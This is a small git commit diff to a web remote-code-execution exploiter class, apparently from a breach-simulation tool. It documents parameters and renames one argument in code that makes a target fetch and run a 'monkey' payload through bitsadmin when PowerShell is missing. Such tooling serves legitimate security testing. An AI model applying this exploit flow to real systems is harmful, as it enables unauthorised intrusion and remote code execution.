Minor changes in run_backup_commands

This commit is contained in:
Vakaris 2018-08-29 14:41:02 +03:00
parent 592dd27d91
commit 87b0afae88
1 changed files with 6 additions and 6 deletions

View File

@ -201,8 +201,8 @@ class WebRCE(HostExploiter):
"""
Gets vulnerable url(s) from url list
:param urls: Potentially vulnerable urls
:param stop_checking:
:return:
:param stop_checking: If we want to continue checking for vulnerable url even though one is found (bool)
:return: None (we append to class variable vulnerable_urls)
"""
for url in urls:
if self.check_if_exploitable(url):
@ -294,18 +294,18 @@ class WebRCE(HostExploiter):
self.host.os['machine'] = arch
return True
def run_backup_commands(self, resp, url, paths, http_path):
def run_backup_commands(self, resp, url, dest_path, http_path):
"""
If you need multiple commands for the same os you can override this method to add backup commands
:param resp: Response from base command
:param url: Vulnerable url
:param paths: Where to upload monkey
:param dest_path: Where to upload monkey
:param http_path: Where to download monkey from
:return: Command's response (same response if backup command is not needed)
"""
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
LOG.info("Powershell not found in host. Using bitsadmin to download.")
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': paths['dest_path'], 'http_path': http_path}
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
resp = self.exploit(url, backup_command)
return resp
@ -336,7 +336,7 @@ class WebRCE(HostExploiter):
resp = self.exploit(url, command)
resp = self.run_backup_commands(resp, url, paths, http_path)
resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()